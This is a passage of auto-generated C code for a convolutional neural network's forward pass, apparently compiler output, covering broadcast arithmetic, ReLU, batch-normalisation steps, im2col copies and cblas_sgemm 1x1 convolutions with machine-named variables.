{\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16919,x16921,x16921,1,x16989,1,1);\nassert(false && \"\");\n}\nbool x17006 = x16919 <= x16989;\nint32_t x17007;\nif (x17006) {\nx17007 = x16989;\n} else {\nx17007 = x16919;\n}\nint32_t x17016 = x17007 * x17015;\nint32_t x17017 = 64 * x17016;\nfloat* x17018 = (float*)myMalloc(x17017 * sizeof(float));;\nint32_t x17019;\nif (x16990) {\nx17019 = 0;\n} else {\nx17019 = x16927;\n}\nint32_t x17022;\nif (x16991) {\nx17022 = 0;\n} else {\nx17022 = 1;\n}\nfor(int x17023=0; x17023 < 64; x17023++) {\nint32_t x17035 = x16928 * x17023;\nint32_t x17029 = x17016 * x17023;\nfor(int x17025=0; x17025 < x17007; x17025++) {\nint32_t x17036 = x17019 * x17025;\nint32_t x17037 = x17035 + x17036;\nint32_t x17042 = x17022 * x17025;\nint32_t x17031 = x17015 * x17025;\nfor(int x17027=0; x17027 < x17009; x17027++) {\nint32_t x17038 = x17020 * x17027;\nint32_t x17039 = x17037 + x17038;\nint32_t x17033 = x17009 * x17027;\nfor(int x17028=0; x17028 < x17009; x17028++) {\nint32_t x17040 = x17021 * x17028;\nint32_t x17041 = x17039 + x17040;\nfloat x17043 = x16930[x17041];\nfloat x17044 = x74[x17042];\nint32_t x17030 = x17028 + x17029;\nint32_t x17032 = x17030 + x17031;\nint32_t x17034 = x17032 + x17033;\nfloat x17045 = x17043 * x17044;\nx17018[x17034] = x17045;\n\n}\n\n}\n\n}\n\n}\nint32_t x17055 = 0;\nint32_t x17056 = 1;\nx17056 *= 1;\nx17055 += 1;\nx17056 *= 1;\nx17056 *= 1;\nint32_t x17061 = x17055;\nbool x17062 = x17061 >= 2;\nif (x17062) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17067 = x17061 == 0;\nif (x17067) {\nint32_t x17068 = x17056;\nbool x17069 = x17068 == 256;\nif (x17069) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17076 = x17056;\nbool x17078 = x17007 == 1;\nint32_t x17077 = 256 / x17076;\nbool x17079 = x17077 == 1;\nbool x17083;\nif (x454) {\nbool x17080 = x17078 || x17079;\nbool x17081 = x17007 == x17077;\nbool x17082 = x17080 || x17081;\nx17083 = x17082;\n} else {\nx17083 = false;\n}\nbool x17087;\nif (x17083) {\nx17087 = x17086;\n} else {\nx17087 = false;\n}\nbool x17088;\nif (x17087) {\nx17088 = x17086;\n} else {\nx17088 = false;\n}\nif (x17088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17007,x17009,x17009,1,x17077,1,1);\nassert(false && \"\");\n}\nbool x17094 = x17007 <= x17077;\nint32_t x17095;\nif (x17094) {\nx17095 = x17077;\n} else {\nx17095 = x17007;\n}\nint32_t x17104 = x17095 * x17103;\nint32_t x17105 = 64 * x17104;\nfloat* x17106 = (float*)myMalloc(x17105 * sizeof(float));;\nint32_t x17107;\nif (x17078) {\nx17107 = 0;\n} else {\nx17107 = x17015;\n}\nint32_t x17110;\nif (x17079) {\nx17110 = 0;\n} else {\nx17110 = 1;\n}\nfor(int x17111=0; x17111 < 64; x17111++) {\nint32_t x17123 = x17016 * x17111;\nint32_t x17117 = x17104 * x17111;\nfor(int x17113=0; x17113 < x17095; x17113++) {\nint32_t x17124 = x17107 * x17113;\nint32_t x17125 = x17123 + x17124;\nint32_t x17130 = x17110 * x17113;\nint32_t x17119 = x17103 * x17113;\nfor(int x17115=0; x17115 < x17097; x17115++) {\nint32_t x17126 = x17108 * x17115;\nint32_t x17127 = x17125 + x17126;\nint32_t x17121 = x17097 * x17115;\nfor(int x17116=0; x17116 < x17097; x17116++) {\nint32_t x17128 = x17109 * x17116;\nint32_t x17129 = x17127 + x17128;\nfloat x17131 = x17018[x17129];\nfloat x17132 = x136[x17130];\nint32_t x17118 = x17116 + x17117;\nint32_t x17120 = x17118 + x17119;\nint32_t x17122 = x17120 + x17121;\nfloat x17133 = x17131 + x17132;\nx17106[x17122] = x17133;\n\n}\n\n}\n\n}\n\n}\nfloat* x17143 = (float*)myMalloc(x17105 * sizeof(float));;\nfor(int x17145=0; x17145 < x17105; x17145++) {\nfloat x17146 = x17106[x17145];\nbool x17147 = x17146 < 0.0f;\nif (x17147) {\nx17143[x17145] = 0.0f;\n} else {\nfloat x17150 = x17106[x17145];\nx17143[x17145] = x17150;\n}\n\n}\nfloat* x17164 = (float*)myMalloc(x17163 * sizeof(float));;\nint32_t x17167 = 64 * x17095;\nint32_t x17168 = x17167 * x17159;\nfloat* x17169 = (float*)myMalloc(x17168 * sizeof(float));;\nint32_t x17165 = x17095 * x17159;\nfor(int x17170=0; x17170 < 64; x17170++) {\nint32_t x17171 = x17170 * x17104;\nfloat* x17172 = x17143+x17171;\nint32_t x17173 = x17170 * x17160;\nfloat* x17174 = x17164+x17173;\nint32_t x17175 = x17170 * x17165;\nfloat* x17176 = x17169+x17175;\nfor(int x17177=0; x17177 < x17095; x17177++) {\nint32_t x17178 = x17177 / 1;\nint32_t x17182 = x17178 * x17158;\nint32_t x17183 = x17182 * x17158;\nint32_t x17179 = x17177 % 1;\nint32_t x17180 = x17179 / 1;\nint32_t x17184 = x17180 * x17158;\nint32_t x17185 = x17184 * x17158;\nint32_t x17186 = x17183 + x17185;\nint32_t x17181 = x17179 % 1;\nint32_t x17187 = x17181 * x17158;\nint32_t x17188 = x17187 * x17158;\nint32_t x17189 = x17186 + x17188;\nfloat* x17190 = x17176+x17189;\nint32_t x17191 = x17178 * x17097;\nint32_t x17192 = x17191 * x17097;\nfloat* x17193 = x17172+x17192;\nfor(int x17195=0; x17195 < x17158; x17195++) {\nint32_t x17197 = x17195 * x17158;\nfloat* x17198 = x17190+x17197;\nint32_t x17196 = x17195 + x17180;\nint32_t x17199 = x17196 * x17097;\nint32_t x17200 = x17199 + x17181;\nfloat* x17201 = x17193+x17200;\nmemcpy(x17198, x17201, 4 * x17158);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x17159,x17095,1,x89,x17095,x17176,x17159,1,x17174,x17159);\n\n}\nint32_t x17210 = 0;\nint32_t x17211 = 1;\nx17211 *= 1;\nx17210 += 1;\nx17211 *= 1;\nx17211 *= 1;\nint32_t x17216 = x17210;\nbool x17217 = x17216 >= 2;\nif (x17217) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17222 = x17216 == 0;\nif (x17222) {\nint32_t x17223 = x17211;\nbool x17224 = x17223 == 1024;\nif (x17224) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17231 = x17211;\nint32_t x17232 = 1024 / x17231;\nbool x17233 = x17232 == 1;\nbool x17236;\nif (x454) {\nbool x17234 = 1024 == x17232;\nbool x17235 = x17233 || x17234;\nx17236 = x17235;\n} else {\nx17236 = false;\n}\nbool x17240;\nif (x17236) {\nx17240 = x17239;\n} else {\nx17240 = false;\n}\nbool x17241;\nif (x17240) {\nx17241 = x17239;\n} else {\nx17241 = false;\n}\nif (x17241) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x17158,x17158,1,x17232,1,1);\nassert(false && \"\");\n}\nbool x17247 = 1024 <= x17232;\nint32_t x17248;\nif (x17247) {\nx17248 = x17232;\n} else {\nx17248 = 1024;\n}\nint32_t x17257 = x17248 * x17256;\nint32_t x17258 = 64 * x17257;\nfloat* x17259 = (float*)myMalloc(x17258 * sizeof(float));;\nint32_t x17262;\nif (x17233) {\nx17262 = 0;\n} else {\nx17262 = 1;\n}\nfor(int x17263=0; x17263 < 64; x17263++) {\nint32_t x17275 = x17160 * x17263;\nint32_t x17269 = x17257 * x17263;\nfor(int x17265=0; x17265 < x17248; x17265++) {\nint32_t x17276 = x17159 * x17265;\nint32_t x17277 = x17275 + x17276;\nint32_t x17282 = x17262 * x17265;\nint32_t x17271 = x17256 * x17265;\nfor(int x17267=0; x17267 < x17250; x17267++) {\nint32_t x17278 = x17260 * x17267;\nint32_t x17279 = x17277 + x17278;\nint32_t x17273 = x17250 * x17267;\nfor(int x17268=0; x17268 < x17250; x17268++) {\nint32_t x17280 = x17261 * x17268;\nint32_t x17281 = x17279 + x17280;\nfloat x17283 = x17164[x17281];\nfloat x17284 = x231[x17282];\nint32_t x17270 = x17268 + x17269;\nint32_t x17272 = x17270 + x17271;\nint32_t x17274 = x17272 + x17273;\nfloat x17285 = x17283 - x17284;\nx17259[x17274] = x17285;\n\n}\n\n}\n\n}\n\n}\nfloat* x17295 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x17296=0; x17296 < 1024; x17296++) {\nfloat x17297 = x161[x17296];\nfloat x17298 = x17297 + 1.0E-5f;\nx17295[x17296] = x17298;\n\n}\nfloat* x17302 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x17303=0; x17303 < 1024; x17303++) {\nfloat x17304 = x17295[x17303];\ndouble x17305 = (double)x17304;\ndouble x17306 = sqrt(x17305);\nfloat x17307 = (float)x17306;\nx17302[x17303] = x17307;\n\n}\nint32_t x17311 = 0;\nint32_t x17312 = 1;\nx17312 *= 1;\nx17311 += 1;\nx17312 *= 1;\nx17312 *= 1;\nint32_t x17317 = x17311;\nbool x17318 = x17317 >= 2;\nif (x17318) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17323 = x17317 == 0;\nif (x17323) {\nint32_t x17324 = x17312;\nbool x17325 = x17324 == 1024;\nif (x17325) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17332 = x17312;\nbool x17334 = x17248 == 1;\nint32_t x17333 = 1024 / x17332;\nbool x17335 = x17333 == 1;\nbool x17339;\nif (x454) {\nbool x17336 = x17334 || x17335;\nbool x17337 = x17248 == x17333;\nbool x17338 = x17336 || x17337;\nx17339 = x17338;\n} else {\nx17339 = false;\n}\nbool x17343;\nif (x17339) {\nx17343 = x17342;\n} else {\nx17343 = false;\n}\nbool x17344;\nif (x17343) {\nx17344 = x17342;\n} else {\nx17344 = false;\n}\nif (x17344) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17248,x17250,x17250,1,x17333,1,1);\nassert(false && \"\");\n}\nbool x17350 = x17248 <= x17333;\nint32_t x17351;\nif (x17350) {\nx17351 = x17333;\n} else {\nx17351 = x17248;\n}\nint32_t x17360 = x17351 * x17359;\nint32_t x17361 = 64 * x17360;\nfloat* x17362 = (float*)myMalloc(x17361 * sizeof(float));;\nint32_t x17363;\nif (x17334) {\nx17363 = 0;\n} else {\nx17363 = x17256;\n}\nint32_t x17366;\nif (x17335) {\nx17366 = 0;\n} else {\nx17366 = 1;\n}\nfor(int x17367=0; x17367 < 64; x17367++) {\nint32_t x17379 = x17257 * x17367;\nint32_t x17373 = x17360 * x17367;\nfor(int x17369=0; x17369 < x17351; x17369++) {\nint32_t x17380 = x17363 * x17369;\nint32_t x17381 = x17379 + x17380;\nint32_t x17386 = x17366 * x17369;\nint32_t x17375 = x17359 * x17369;\nfor(int x17371=0; x17371 < x17353; x17371++) {\nint32_t x17382 = x17364 * x17371;\nint32_t x17383 = x17381 + x17382;\nint32_t x17377 = x17353 * x17371;\nfor(int x17372=0; x17372 < x17353; x17372++) {\nint32_t x17384 = x17365 * x17372;\nint32_t x17385 = x17383 + x17384;\nfloat x17387 = x17259[x17385];\nfloat x17388 = x17302[x17386];\nint32_t x17374 = x17372 + x17373;\nint32_t x17376 = x17374 + x17375;\nint32_t x17378 = x17376 + x17377;\nfloat x17389 = x17387 / x17388;\nx17362[x17378] = x17389;\n\n}\n\n}\n\n}\n\n}\nint32_t x17399 = 0;\nint32_t x17400 = 1;\nx17400 *= 1;\nx17399 += 1;\nx17400 *= 1;\nx17400 *= 1;\nint32_t x17405 = x17399;\nbool x17406 = x17405 >= 2;\nif (x17406) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17411 = x17405 == 0;\nif (x17411) {\nint32_t x17412 = x17400;\nbool x17413 = x17412 == 1024;\nif (x17413) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17420 = x17400;\nbool x17422 = x17351 == 1;\nint32_t x17421 = 1024 / x17420;\nbool x17423 = x17421 == 1;\nbool x17427;\nif (x454) {\nbool x17424 = x17422 || x17423;\nbool x17425 = x17351 == x17421;\nbool x17426 = x17424 || x17425;\nx17427 = x17426;\n} else {\nx17427 = false;\n}\nbool x17431;\nif (x17427) {\nx17431 = x17430;\n} else {\nx17431 = false;\n}\nbool x17432;\nif (x17431) {\nx17432 = x17430;\n} else {\nx17432 = false;\n}\nif (x17432) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17351,x17353,x17353,1,x17421,1,1);\nassert(false && \"\");\n}\nbool x17438 = x17351 <= x17421;\nint32_t x17439;\nif (x17438) {\nx17439 = x17421;\n} else {\nx17439 = x17351;\n}\nint32_t x17448 = x17439 * x17447;\nint32_t x17449 = 64 * x17448;\nfloat* x17450 = (float*)myMalloc(x17449 * sizeof(float));;\nint32_t x17451;\nif (x17422) {\nx17451 = 0;\n} else {\nx17451 = x17359;\n}\nint32_t x17454;\nif (x17423) {\nx17454 = 0;\n} else {\nx17454 = 1;\n}\nfor(int x17455=0; x17455 < 64; x17455++) {\nint32_t x17467 = x17360 * x17455;\nint32_t x17461 = x17448 * x17455;\nfor(int x17457=0; x17457 < x17439; x17457++) {\nint32_t x17468 = x17451 * x17457;\nint32_t x17469 = x17467 + x17468;\nint32_t x17474 = x17454 * x17457;\nint32_t x17463 = x17447 * x17457;\nfor(int x17459=0; x17459 < x17441; x17459++) {\nint32_t x17470 = x17452 * x17459;\nint32_t x17471 = x17469 + x17470;\nint32_t x17465 = x17441 * x17459;\nfor(int x17460=0; x17460 < x17441; x17460++) {\nint32_t x17472 = x17453 * x17460;\nint32_t x17473 = x17471 + x17472;\nfloat x17475 = x17362[x17473];\nfloat x17476 = x238[x17474];\nint32_t x17462 = x17460 + x17461;\nint32_t x17464 = x17462 + x17463;\nint32_t x17466 = x17464 + x17465;\nfloat x17477 = x17475 * x17476;\nx17450[x17466] = x17477;\n\n}\n\n}\n\n}\n\n}\nint32_t x17487 = 0;\nint32_t x17488 = 1;\nx17488 *= 1;\nx17487 += 1;\nx17488 *= 1;\nx17488 *= 1;\nint32_t x17493 = x17487;\nbool x17494 = x17493 >= 2;\nif (x17494) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17499 = x17493 == 0;\nif (x17499) {\nint32_t x17500 = x17488;\nbool x17501 = x17500 == 1024;\nif (x17501) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17508 = x17488;\nbool x17510 = x17439 == 1;\nint32_t x17509 = 1024 / x17508;\nbool x17511 = x17509 == 1;\nbool x17515;\nif (x454) {\nbool x17512 = x17510 || x17511;\nbool x17513 = x17439 == x17509;\nbool x17514 = x17512 || x17513;\nx17515 = x17514;\n} else {\nx17515 = false;\n}\nbool x17519;\nif (x17515) {\nx17519 = x17518;\n} else {\nx17519 = false;\n}\nbool x17520;\nif (x17519) {\nx17520 = x17518;\n} else {\nx17520 = false;\n}\nif (x17520) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17439,x17441,x17441,1,x17509,1,1);\nassert(false && \"\");\n}\nbool x17526 = x17439 <= x17509;\nint32_t x17527;\nif (x17526) {\nx17527 = x17509;\n} else {\nx17527 = x17439;\n}\nint32_t x17536 = x17527 * x17535;\nint32_t x17537 = 64 * x17536;\nfloat* x17538 = (float*)myMalloc(x17537 * sizeof(float));;\nint32_t x17539;\nif (x17510) {\nx17539 = 0;\n} else {\nx17539 = x17447;\n}\nint32_t x17542;\nif (x17511) {\nx17542 = 0;\n} else {\nx17542 = 1;\n}\nfor(int x17543=0; x17543 < 64; x17543++) {\nint32_t x17555 = x17448 * x17543;\nint32_t x17549 = x17536 * x17543;\nfor(int x17545=0; x17545 < x17527; x17545++) {\nint32_t x17556 = x17539 * x17545;\nint32_t x17557 = x17555 + x17556;\nint32_t x17562 = x17542 * x17545;\nint32_t x17551 = x17535 * x17545;\nfor(int x17547=0; x17547 < x17529; x17547++) {\nint32_t x17558 = x17540 * x17547;\nint32_t x17559 = x17557 + x17558;\nint32_t x17553 = x17529 * x17547;\nfor(int x17548=0; x17548 < x17529; x17548++) {\nint32_t x17560 = x17541 * x17548;\nint32_t x17561 = x17559 + x17560;\nfloat x17563 = x17450[x17561];\nfloat x17564 = x146[x17562];\nint32_t x17550 = x17548 + x17549;\nint32_t x17552 = x17550 + x17551;\nint32_t x17554 = x17552 + x17553;\nfloat x17565 = x17563 + x17564;\nx17538[x17554] = x17565;\n\n}\n\n}\n\n}\n\n}\nbool x17575 = x17527 == 1;\nbool x17576 = x17575 || x16163;\nbool x17577 = x17527 == x16115;\nbool x17578 = x17576 || x17577;\nbool x17583;\nif (x17578) {\nx17583 = x17582;\n} else {\nx17583 = false;\n}\nbool x17584;\nif (x17583) {\nx17584 = x17582;\n} else {\nx17584 = false;\n}\nif (x17584) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17527,x17529,x17529,64,x16115,x16117,x16117);\nassert(false && \"\");\n}\nbool x17590 = x17527 <= x16115;\nint32_t x17591;\nif (x17590) {\nx17591 = x16115;\n} else {\nx17591 = x17527;\n}\nint32_t x17607;\nif (x17575) {\nx17607 = 0;\n} else {\nx17607 = x17535;\n}\nfor(int x17610=0; x17610 < 64; x17610++) {\nint32_t x17616 = x17536 * x17610;\nint32_t x17623 = x16124 * x17610;\nfor(int x17612=0; x17612 < x17591; x17612++) {\nint32_t x17617 = x17607 * x17612;\nint32_t x17618 = x17616 + x17617;\nint32_t x17624 = x16195 * x17612;\nint32_t x17625 = x17623 + x17624;\nfor(int x17614=0; x17614 < x17593; x17614++) {\nint32_t x17619 = x17608 * x17614;\nint32_t x17620 = x17618 + x17619;\nint32_t x17626 = x16196 * x17614;\nint32_t x17627 = x17625 + x17626;\nfor(int x17615=0; x17615 < x17593; x17615++) {\nint32_t x17621 = x17609 * x17615;\nint32_t x17622 = x17620 + x17621;\nfloat x17630 = x17538[x17622];\nint32_t x17628 = x16197 * x17615;\nint32_t x17629 = x17627 + x17628;\nfloat x17631 = x16230[x17629];\nfloat x17632 = x17630 + x17631;\nx17538[x17622] = x17632;\n\n}\n\n}\n\n}\n\n}\nfloat* x17642 = (float*)myMalloc(x17537 * sizeof(float));;\nfor(int x17644=0; x17644 < x17537; x17644++) {\nfloat x17645 = x17538[x17644];\nbool x17646 = x17645 < 0.0f;\nif (x17646) {\nx17642[x17644] = 0.0f;\n} else {\nfloat x17649 = x17538[x17644];\nx17642[x17644] = x17649;\n}\n\n}\nfloat* x17663 = (float*)myMalloc(x17662 * sizeof(float));;\nint32_t x17666 = 64 * x17527;\nint32_t x17667 = x17666 * x17658;\nfloat* x17668 = (float*)myMalloc(x17667 * sizeof(float));;\nint32_t x17664 = x17527 * x17658;\nfor(int x17669=0; x17669 < 64; x17669++) {\nint32_t x17670 = x17669 * x17536;\nfloat* x17671 = x17642+x17670;\nint32_t x17672 = x17669 * x17659;\nfloat* x17673 = x17663+x17672;\nint32_t x17674 = x17669 * x17664;\nfloat* x17675 = x17668+x17674;\nfor(int x17676=0; x17676 < x17527; x17676++) {\nint32_t x17677 = x17676 / 1;\nint32_t x17681 = x17677 * x17657;\nint32_t x17682 = x17681 * x17657;\nint32_t x17678 = x17676 % 1;\nint32_t x17679 = x17678 / 1;\nint32_t x17683 = x17679 * x17657;\nint32_t x17684 = x17683 * x17657;\nint32_t x17685 = x17682 + x17684;\nint32_t x17680 = x17678 % 1;\nint32_t x17686 = x17680 * x17657;\nint32_t x17687 = x17686 * x17657;\nint32_t x17688 = x17685 + x17687;\nfloat* x17689 = x17675+x17688;\nint32_t x17690 = x17677 * x17529;\nint32_t x17691 = x17690 * x17529;\nfloat* x17692 = x17671+x17691;\nfor(int x17694=0; x17694 < x17657; x17694++) {\nint32_t x17696 = x17694 * x17657;\nfloat* x17697 = x17689+x17696;\nint32_t x17695 = x17694 + x17679;\nint32_t x17698 = x17695 * x17529;\nint32_t x17699 = x17698 + x17680;\nfloat* x17700 = x17692+x17699;\nmemcpy(x17697, x17700, 4 * x17657);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x17658,x17527,1,x22,x17527,x17675,x17658,1,x17673,x17658);\n\n}\nint32_t x17709 = 0;\nint32_t x17710 = 1;\nx17710 *= 1;\nx17709 += 1;\nx17710 *= 1;\nx17710 *= 1;\nint32_t x17715 = x17709;\nbool x17716 = x17715 >= 2;\nif (x17716) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17721 = x17715 == 0;\nif (x17721) {\nint32_t x17722 = x17710;\nbool x17723 = x17722 == 256;\nif (x17723) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17730 = x17710;\nint32_t x17731 = 256 / x17730;\nbool x17732 = x17731 == 1;\nbool x17735;\nif (x454) {\nbool x17733 = 256 == x17731;\nbool x17734 = x17732 || x17733;\nx17735 = x17734;\n} else {\nx17735 = false;\n}\nbool x17739;\nif (x17735) {\nx17739 = x17738;\n} else {\nx17739 = false;\n}\nbool x17740;\nif (x17739) {\nx17740 = x17738;\n} else {\nx17740 = false;\n}\nif (x17740) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x17657,x17657,1,x17731,1,1);\nassert(false && \"\");\n}\nbool x17746 = 256 <= x17731;\nint32_t x17747;\nif (x17746) {\nx17747 = x17731;\n} else {\nx17747 = 256;\n}\nint32_t x17756 = x17747 * x17755;\nint32_t x17757 = 64 * x17756;\nfloat* x17758 = (float*)myMalloc(x17757 * sizeof(float));;\nint32_t x17761;\nif (x17732) {\nx17761 = 0;\n} else {\nx17761 = 1;\n}\nfor(int x17762=0; x17762 < 64; x17762++) {\nint32_t x17774 = x17659 * x17762;\nint32_t x17768 = x17756 * x17762;\nfor(int x17764=0; x17764 < x17747; x17764++) {\nint32_t x17775 = x17658 * x17764;\nint32_t x17776 = x17774 + x17775;\nint32_t x17781 = x17761 * x17764;\nint32_t x17770 = x17755 * x17764;\nfor(int x17766=0; x17766 < x17749; x17766++) {\nint32_t x17777 = x17759 * x17766;\nint32_t x17778 = x17776 + x17777;\nint32_t x17772 = x17749 * x17766;\nfor(int x17767=0; x17767 < x17749; x17767++) {\nint32_t x17779 = x17760 * x17767;\nint32_t x17780 = x17778 + x17779;\nfloat x17782 = x17663[x17780];\nfloat x17783 = x254[x17781];\nint32_t x17769 = x17767 + x17768;\nint32_t x17771 = x17769 + x17770;\nint32_t x17773 = x17771 + x17772;\nfloat x17784 = x17782 - x17783;\nx17758[x17773] = x17784;\n\n}\n\n}\n\n}\n\n}\nfloat* x17794 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x17795=0; x17795 < 256; x17795++) {\nfloat x17796 = x69[x17795];\nfloat x17797 = x17796 + 1.0E-5f;\nx17794[x17795] = x17797;\n\n}\nfloat* x17801 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x17802=0; x17802 < 256; x17802++) {\nfloat x17803 = x17794[x17802];\ndouble x17804 = (double)x17803;\ndouble x17805 = sqrt(x17804);\nfloat x17806 = (float)x17805;\nx17801[x17802] = x17806;\n\n}\nint32_t x17810 = 0;\nint32_t x17811 = 1;\nx17811 *= 1;\nx17810 += 1;\nx17811 *= 1;\nx17811 *= 1;\nint32_t x17816 = x17810;\nbool x17817 = x17816 >= 2;\nif (x17817) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17822 = x17816 == 0;\nif (x17822) {\nint32_t x17823 = x17811;\nbool x17824 = x17823 == 256;\nif (x17824) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17831 = x17811;\nbool x17833 = x17747 == 1;\nint32_t x17832 = 256 / x17831;\nbool x17834 = x17832 == 1;\nbool x17838;\nif (x454) {\nbool x17835 = x17833 || x17834;\nbool x17836 = x17747 == x17832;\nbool x17837 = x17835 || x17836;\nx17838 = x17837;\n} else {\nx17838 = false;\n}\nbool x17842;\nif (x17838) {\nx17842 = x17841;\n} else {\nx17842 = false;\n}\nbool x17843;\nif (x17842) {\nx17843 = x17841;\n} else {\nx17843 = false;\n}\nif (x17843) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17747,x17749,x17749,1,x17832,1,1);\nassert(false && \"\");\n}\nbool x17849 = x17747 <= x17832;\nint32_t x17850;\nif (x17849) {\nx17850 = x17832;\n} else {\nx17850 = x17747;\n}\nint32_t x17859 = x17850 * x17858;\nint32_t x17860 = 64 * x17859;\nfloat* x17861 = (float*)myMalloc(x17860 * sizeof(float));;\nint32_t x17862;\nif (x17833) {\nx17862 = 0;\n} else {\nx17862 = x17755;\n}\nint32_t x17865;\nif (x17834) {\nx17865 = 0;\n} else {\nx17865 = 1;\n}\nfor(int x17866=0; x17866 < 64; x17866++) {\nint32_t x17878 = x17756 * x17866;\nint32_t x17872 = x17859 * x17866;\nfor(int x17868=0; x17868 < x17850; x17868++) {\nint32_t x17879 = x17862 * x17868;\nint32_t x17880 = x17878 + x17879;\nint32_t x17885 = x17865 * x17868;\nint32_t x17874 = x17858 * x17868;\nfor(int x17870=0; x17870 < x17852; x17870++) {\nint32_t x17881 = x17863 * x17870;\nint32_t x17882 = x17880 + x17881;\nint32_t x17876 = x17852 * x17870;\nfor(int x17871=0; x17871 < x17852; x17871++) {\nint32_t x17883 = x17864 * x17871;\nint32_t x17884 = x17882 + x17883;\nfloat x17886 = x17758[x17884];\nfloat x17887 = x17801[x17885];\nint32_t x17873 = x17871 + x17872;\nint32_t x17875 = x17873 + x17874;\nint32_t x17877 = x17875 + x17876;\nfloat x17888 = x17886 / x17887;\nx17861[x17877] = x17888;\n\n}\n\n}\n\n}\n\n}\nint32_t x17898 = 0;\nint32_t x17899 = 1;\nx17899 *= 1;\nx17898 += 1;\nx17899 *= 1;\nx17899 *= 1;\nint32_t x17904 = x17898;\nbool x17905 = x17904 >= 2;\nif (x17905) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17910 = x17904 == 0;\nif (x17910) {\nint32_t x17911 = x17899;\nbool x17912 = x17911 == 256;\nif (x17912) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x17919 = x17899;\nbool x17921 = x17850 == 1;\nint32_t x17920 = 256 / x17919;\nbool x17922 = x17920 == 1;\nbool x17926;\nif (x454) {\nbool x17923 = x17921 || x17922;\nbool x17924 = x17850 == x17920;\nbool x17925 = x17923 || x17924;\nx17926 = x17925;\n} else {\nx17926 = false;\n}\nbool x17930;\nif (x17926) {\nx17930 = x17929;\n} else {\nx17930 = false;\n}\nbool x17931;\nif (x17930) {\nx17931 = x17929;\n} else {\nx17931 = false;\n}\nif (x17931) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17850,x17852,x17852,1,x17920,1,1);\nassert(false && \"\");\n}\nbool x17937 = x17850 <= x17920;\nint32_t x17938;\nif (x17937) {\nx17938 = x17920;\n} else {\nx17938 = x17850;\n}\nint32_t x17947 = x17938 * x17946;\nint32_t x17948 = 64 * x17947;\nfloat* x17949 = (float*)myMalloc(x17948 * sizeof(float));;\nint32_t x17950;\nif (x17921) {\nx17950 = 0;\n} else {\nx17950 = x17858;\n}\nint32_t x17953;\nif (x17922) {\nx17953 = 0;\n} else {\nx17953 = 1;\n}\nfor(int x17954=0; x17954 < 64; x17954++) {\nint32_t x17966 = x17859 * x17954;\nint32_t x17960 = x17947 * x17954;\nfor(int x17956=0; x17956 < x17938; x17956++) {\nint32_t x17967 = x17950 * x17956;\nint32_t x17968 = x17966 + x17967;\nint32_t x17973 = x17953 * x17956;\nint32_t x17962 = x17946 * x17956;\nfor(int x17958=0; x17958 < x17940; x17958++) {\nint32_t x17969 = x17951 * x17958;\nint32_t x17970 = x17968 + x17969;\nint32_t x17964 = x17940 * x17958;\nfor(int x17959=0; x17959 < x17940; x17959++) {\nint32_t x17971 = x17952 * x17959;\nint32_t x17972 = x17970 + x17971;\nfloat x17974 = x17861[x17972];\nfloat x17975 = x77[x17973];\nint32_t x17961 = x17959 + x17960;\nint32_t x17963 = x17961 + x17962;\nint32_t x17965 = x17963 + x17964;\nfloat x17976 = x17974 * x17975;\nx17949[x17965] = x17976;\n\n}\n\n}\n\n}\n\n}\nint32_t x17986 = 0;\nint32_t x17987 = 1;\nx17987 *= 1;\nx17986 += 1;\nx17987 *= 1;\nx17987 *= 1;\nint32_t x17992 = x17986;\nbool x17993 = x17992 >= 2;\nif (x17993) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x17998 = x17992 == 0;\nif (x17998) {\nint32_t x17999 = 